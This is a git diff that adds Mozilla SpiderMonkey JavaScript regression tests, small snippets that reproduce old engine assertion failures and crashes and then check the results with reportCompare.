diff --git a/js/src/tests/non262/regress/regress-476655.js b/js/src/tests/non262/regress/regress-476655.js
new file mode 100644
index 0000000000..9e866fe622
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-476655.js
@@ -0,0 +1,36 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 476655;
+var summary = 'Do not assert: depth <= (size_t) (fp->regs->sp - StackBase(fp))';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ try
+ {
+ eval(
+ "for(let y in ['', '']) try {for(let y in ['', '']) ( /x/g ); } finally {" +
+ "with({}){} } this.zzz.zzz"
+
+ );
+ }
+ catch(ex)
+ {
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-477053.js b/js/src/tests/non262/regress/regress-477053.js
new file mode 100644
index 0000000000..934a502ccb
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-477053.js
@@ -0,0 +1,25 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */
+
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+var summary = 'Do not assert: v.isString()';
+var BUGNUMBER = 477053;
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+
+try
+{
+ function f() { eval("with(arguments)throw [];"); }
+ f();
+}
+catch(ex)
+{
+}
+
+reportCompare(expect, actual);
+
diff --git a/js/src/tests/non262/regress/regress-477234.js b/js/src/tests/non262/regress/regress-477234.js
new file mode 100644
index 0000000000..393df94231
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-477234.js
@@ -0,0 +1,40 @@
+// |reftest| slow
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 477234;
+var summary = 'Do not assert: v != JSVAL_ERROR_COOKIE';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ for (iters = 0; iters < 11500; ++iters) {
+ for (let x of ['', '', '']){}
+ eval("Object.defineProperty(__proto__, 'x', " +
+ "{" +
+ " enumerable: true, configurable: true," +
+ " get: function(){}" +
+ "});");
+ var c = toString;
+ delete toString;
+ toString = c;
+ }
+
+
+ delete __proto__.x;
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-477733.js b/js/src/tests/non262/regress/regress-477733.js
new file mode 100644
index 0000000000..d0ba1fd0ba
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-477733.js
@@ -0,0 +1,39 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 477733;
+var summary = 'TM: Do not assert: !(fp->flags & JSFRAME_POP_BLOCKS)';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ function g() {
+ [];
+ }
+
+ try {
+ d.d.d;
+ } catch(e) {
+ void (function(){});
+ }
+
+ for (var o in [1, 2, 3]) {
+ g();
+ }
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-477758.js b/js/src/tests/non262/regress/regress-477758.js
new file mode 100644
index 0000000000..24b559d5d9
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-477758.js
@@ -0,0 +1,46 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 477758;
+var summary = 'TM: RegExp source';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ function map(array, func) {
+ var result = [];
+ for(var i=0;i<array.length;i++) {
+ result.push(func(array[i]));
+ }
+ return result;
+ }
+
+ function run() {
+ var patterns = [/foo/, /bar/];
+ function getSource(r) { return r.source; }
+ var patternStrings = map(patterns, getSource);
+ print(actual += [patterns[0].source, patternStrings[0]] + '');
+ }
+
+ expect = 'foo,foo';
+
+ for (var i = 0; i < 4; i++)
+ {
+ actual = '';
+ run();
+ reportCompare(expect, actual, summary + ': ' + i);
+ }
+}
diff --git a/js/src/tests/non262/regress/regress-478205.js b/js/src/tests/non262/regress/regress-478205.js
new file mode 100644
index 0000000000..257741cdd5
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-478205.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 478205;
+var summary = 'Do not assert: p->isQuad()';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ for (let x of ['', '']) { switch([]) {} }
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-478314.js b/js/src/tests/non262/regress/regress-478314.js
new file mode 100644
index 0000000000..f352d9f858
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-478314.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 478314;
+var summary = 'Do not assert: "need a way to EOT now, since this is trace end": 0';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ for (var z = 0; z < 2; ++z) { switch(false & 1e-81) {} }
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-479353-01.js b/js/src/tests/non262/regress/regress-479353-01.js
new file mode 100644
index 0000000000..1d34be1a8c
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-479353-01.js
@@ -0,0 +1,23 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 479353;
+var summary = 'Do not assert: (uint32_t)(index_) < atoms_->length';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+function f(code)
+{
+ (eval("(function(){" + code + "});"))();
+}
+x = {};
+f("y = this;");
+f("x, y; for (let x of [arguments]) {}");
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-479353.js b/js/src/tests/non262/regress/regress-479353.js
new file mode 100644
index 0000000000..bb21365ef5
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-479353.js
@@ -0,0 +1,25 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 479353;
+var summary = 'Do not assert: (uint32_t)(index_) < atoms_->length';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ (new Function("({}), arguments;"))();
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-479430-01.js b/js/src/tests/non262/regress/regress-479430-01.js
new file mode 100644
index 0000000000..b910188f43
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-479430-01.js
@@ -0,0 +1,41 @@
+// |reftest| skip-if(Android)
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 479430;
+var summary = 'Missing operation callback checks';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ if (typeof timeout == 'function')
+ {
+ expectExitCode(6);
+
+ timeout(0.01);
+
+ function f(n)
+ {
+ if (n != 0) {
+ f(n - 1);
+ f(n - 1);
+ }
+ }
+
+ f(100);
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-479430-02.js b/js/src/tests/non262/regress/regress-479430-02.js
new file mode 100644
index 0000000000..29828e1694
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-479430-02.js
@@ -0,0 +1,43 @@
+// |reftest| skip-if(Android)
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 479430;
+var summary = 'Missing operation callback checks';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ if (typeof timeout == 'function')
+ {
+ expectExitCode(6);
+
+ timeout(0.01);
+
+ function f(n)
+ {
+ if (n != 0) {
+ try { f(n - 1); } catch (e) {}
+ try { f(n - 1); } catch (e) {}
+ }
+ throw 0;
+ }
+
+ f(100);
+
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-479430-03.js b/js/src/tests/non262/regress/regress-479430-03.js
new file mode 100644
index 0000000000..4202ce9cff
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-479430-03.js
@@ -0,0 +1,46 @@
+// |reftest| skip-if(Android)
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 479430;
+var summary = 'Missing operation callback checks';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ if (typeof timeout == 'function')
+ {
+ expectExitCode(6);
+
+ timeout(0.01);
+
+ function f(n)
+ {
+ if (n != 0) {
+ f(n - 1);
+ f(n - 1);
+ }
+ try {
+ return 0;
+ } finally {
+ n++;
+ }
+ }
+
+ f(100);
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-479430-04.js b/js/src/tests/non262/regress/regress-479430-04.js
new file mode 100644
index 0000000000..0948dc3d9f
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-479430-04.js
@@ -0,0 +1,42 @@
+// |reftest| skip-if(Android)
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 479430;
+var summary = 'Missing operation callback checks';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ if (typeof timeout== 'function')
+ {
+ expectExitCode(6);
+
+ timeout(0.01);
+
+ function f(n)
+ {
+ if (n != 0) {
+ try { f(n - 1); } catch (e) {}
+ try { f(n - 1); } catch (e) {}
+ }
+ name_that_does_not_exists;
+ }
+
+ f(100);
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-479430-05.js b/js/src/tests/non262/regress/regress-479430-05.js
new file mode 100644
index 0000000000..fc94192d5e
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-479430-05.js
@@ -0,0 +1,41 @@
+// |reftest| skip-if(Android)
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 479430;
+var summary = 'Missing operation callback checks';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ if (typeof timeout == 'function')
+ {
+ expectExitCode(6);
+
+ timeout(0.01);
+
+ function f(n)
+ {
+ if (n != 0) {
+ try { f(n - 1); } finally { f(n - 1); }
+ }
+ name_that_does_not_exists;
+ }
+
+ f(100);
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-479740.js b/js/src/tests/non262/regress/regress-479740.js
new file mode 100644
index 0000000000..bcbeaff032
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-479740.js
@@ -0,0 +1,36 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 479740;
+var summary = 'TM: Do not crash @ TraceRecorder::test_property_cache';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+
+try
+{
+ eval(
+ ' function f() {' +
+ ' for ( foobar in (function() {' +
+ ' for (var x = 0; x < 2; ++x) {' +
+ ' if (x % 2 == 1) { yield (this.z.z) = function(){} }' +
+ ' eval("this", false);' +
+ ' }' +
+ ' })());' +
+ ' function(){}' +
+ ' }' +
+ ' f();'
+ );
+}
+catch(ex)
+{
+}
+
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-480147.js b/js/src/tests/non262/regress/regress-480147.js
new file mode 100644
index 0000000000..7a8adb36f4
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-480147.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 480147;
+var summary = 'TM: Do not assert: cx->bailExit';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ var w = [/a/, /b/, /c/, {}];
+ for (var i = 0; i < w.length; ++i)
+ "".replace(w[i], "");
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-480244.js b/js/src/tests/non262/regress/regress-480244.js
new file mode 100644
index 0000000000..35e4c5fc3f
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-480244.js
@@ -0,0 +1,48 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 480244;
+var summary = 'Do not assert: isInt32(*p)';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ function outer() {
+ var v = 10.234;
+ for (var i = 0; i < 0xff; ++i) {
+ inner(v);
+ }
+ }
+
+ var g = 0;
+ var h = 0;
+
+ function inner() {
+ var v = 10;
+ for (var k = 0; k < 0xff; ++k) {
+ g++;
+ if (g & 0xff == 0xff)
+ h++;
+ }
+ return h;
+ }
+
+ outer();
+ print("g=" + g + " h=" + h);
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-481436.js b/js/src/tests/non262/regress/regress-481436.js
new file mode 100644
index 0000000000..8520e2ffae
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-481436.js
@@ -0,0 +1,38 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 481436;
+var summary = 'TM: Do not crash @ FlushNativeStackFrame/JS_XDRNewMem';
+var actual = '';
+var expect = '';
+
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+
+function search(m, n) {
+ if (m.name == n)
+ return m;
+ for (var i = 0; i < m.items.length; i++)
+ if (m.items[i].type == 'M')
+ search(m.items[i], n);
+}
+
+function crash() {
+ for (var i = 0; i < 2; i++) {
+ var root = {name: 'root', type: 'M', items: [{}]};
+ search(root, 'x');
+ root.items.push({name: 'tim', type: 'M', items: []});
+ search(root, 'x');
+ search(root, 'x');
+ }
+}
+
+crash();
+
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-481800.js b/js/src/tests/non262/regress/regress-481800.js
new file mode 100644
index 0000000000..ba8ac8741f
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-481800.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 481800;
+var summary = 'TM: Do not assert: (!lhs->isQuad() && !rhs->isQuad()) || (lhs->isQuad() && rhs->isQuad())';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ for (let x of ['', 0, 0, eval]) { y = x } ( function(){} );
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-482421.js b/js/src/tests/non262/regress/regress-482421.js
new file mode 100644
index 0000000000..740ba6538b
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-482421.js
@@ -0,0 +1,26 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 482421;
+var summary = 'TM: Do not assert: vp >= StackBase(fp)';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+
+function f()
+{
+ var x;
+ var foo = "for (var z = 0; z < 2; ++z) { new Object(new String(this), x)}";
+ foo.replace(/\n/g, " ");
+ eval(foo);
+}
+f();
+
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-482783.js b/js/src/tests/non262/regress/regress-482783.js
new file mode 100644
index 0000000000..e1c4c42c33
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-482783.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 482783;
+var summary = 'TM: Do not crash @ js_ConcatStrings';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ [].concat();
+ for (var x = 0; x < 3; ++x) { (null + [,,]); }
+
+
+ reportCompare(expect, actual, summary);
+}
+
diff --git a/js/src/tests/non262/regress/regress-483103.js b/js/src/tests/non262/regress/regress-483103.js
new file mode 100644
index 0000000000..1c568070a9
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-483103.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 483103;
+var summary = 'TM: Do not assert: p->isQuad()';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ var t = new String("");
+ for (var j = 0; j < 3; ++j) {
+ var e = t["-1"];
+ }
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-483749.js b/js/src/tests/non262/regress/regress-483749.js
new file mode 100644
index 0000000000..d8fa79d4a7
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-483749.js
@@ -0,0 +1,25 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 483749;
+var summary = 'Do not assert: !js_IsActiveWithOrBlock(cx, fp->scopeChain, 0)';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+
+for (let x of ['']) {
+ for (var b = 0; b < 5; ++b) {
+ if (b % 5 == 3) {
+ with([]) this;
+ }
+ }
+}
+
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-495773.js b/js/src/tests/non262/regress/regress-495773.js
new file mode 100644
index 0000000000..81f9041ec4
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-495773.js
@@ -0,0 +1,39 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 495773;
+var summary = 'Read upvar from trace-entry frame from JSStackFrame instead of tracing native stack';
+var actual = ''
+var expect = '010101';
+//-----------------------------------------------------------------------------
+function f() {
+ var q = [];
+ for (var a = 0; a < 3; ++a) {
+ (function () {
+ for (var b = 0; b < 2; ++b) {
+ (function () {
+ for (var c = 0; c < 1; ++c) {
+ q.push(b);
+ }
+ })();
+ }
+ })();
+ }
+ return q.join("");
+}
+
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ actual = f();
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-495907.js b/js/src/tests/non262/regress/regress-495907.js
new file mode 100644
index 0000000000..98ae943b91
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-495907.js
@@ -0,0 +1,32 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 495907;
+var summary = 'Read upvar from trace-entry frame when created with top-level let';
+var actual = ''
+var expect = '00112233';
+//-----------------------------------------------------------------------------
+
+// The test code needs to run at top level in order to expose the bug.
+start_test();
+
+var o = [];
+for (let a = 0; a < 4; ++a) {
+ (function () {for (var b = 0; b < 2; ++b) {o.push(a);}}());
+}
+actual = o.join("");
+
+finish_test();
+//-----------------------------------------------------------------------------
+
+function start_test() {
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+}
+
+function finish_test() {
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-496922.js b/js/src/tests/non262/regress/regress-496922.js
new file mode 100644
index 0000000000..d27a19496c
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-496922.js
@@ -0,0 +1,36 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 496922;
+var summary = 'Incorrect handling of extra arguments';
+var actual = ''
+var expect = '0,0,1,1,2,2,3,3';
+
+
+//-----------------------------------------------------------------------------
+
+// The code must run as part of the top-level script in order to get the bug.
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var a = [];
+{
+let f = function() {
+ for (let x = 0; x < 4; ++x) {
+ (function() {
+ for (let y = 0; y < 2; ++y) {
+ a.push(x);
+ }
+ })()
+ }
+}; (function() {})()
+ f(99)
+}
+actual = '' + a;
+
+reportCompare(expect, actual, summary);
+//-----------------------------------------------------------------------------
+
diff --git a/js/src/tests/non262/regress/regress-499524.js b/js/src/tests/non262/regress/regress-499524.js
new file mode 100644
index 0000000000..2b996eda2b
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-499524.js
@@ -0,0 +1,50 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+function isSyntaxError(code) {
+ try {
+ eval(code);
+ return false;
+ } catch (exception) {
+ if (SyntaxError.prototype.isPrototypeOf(exception))
+ return true;
+ throw exception;
+ };
+};
+
+/*
+ * Duplicate parameter names must be tolerated (as per ES3), unless
+ * the parameter list uses destructuring, in which case we claim the
+ * user has opted in to a modicum of sanity, and we forbid duplicate
+ * parameter names.
+ */
+assertEq(isSyntaxError("function f(x,x){}"), false);
+
+assertEq(isSyntaxError("function f(x,[x]){})"), true);
+assertEq(isSyntaxError("function f(x,{y:x}){})"), true);
+assertEq(isSyntaxError("function f(x,{x}){})"), true);
+
+assertEq(isSyntaxError("function f([x],x){})"), true);
+assertEq(isSyntaxError("function f({y:x},x){})"), true);
+assertEq(isSyntaxError("function f({x},x){})"), true);
+
+assertEq(isSyntaxError("function f([x,x]){}"), true);
+assertEq(isSyntaxError("function f({x,x}){}"), true);
+assertEq(isSyntaxError("function f({y:x,z:x}){}"), true);
+
+assertEq(isSyntaxError("function f(x,x,[y]){}"), true);
+assertEq(isSyntaxError("function f(x,x,{y}){}"), true);
+assertEq(isSyntaxError("function f([y],x,x){}"), true);
+assertEq(isSyntaxError("function f({y},x,x){}"), true);
+
+assertEq(isSyntaxError("function f(a,b,c,d,e,f,g,h,b,[y]){}"), true);
+assertEq(isSyntaxError("function f([y],a,b,c,d,e,f,g,h,a){}"), true);
+assertEq(isSyntaxError("function f([a],b,c,d,e,f,g,h,i,a){}"), true);
+assertEq(isSyntaxError("function f(a,b,c,d,e,f,g,h,i,[a]){}"), true);
+assertEq(isSyntaxError("function f(a,b,c,d,e,f,g,h,i,[a]){}"), true);
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/regress/regress-500528.js b/js/src/tests/non262/regress/regress-500528.js
new file mode 100644
index 0000000000..518ebde605
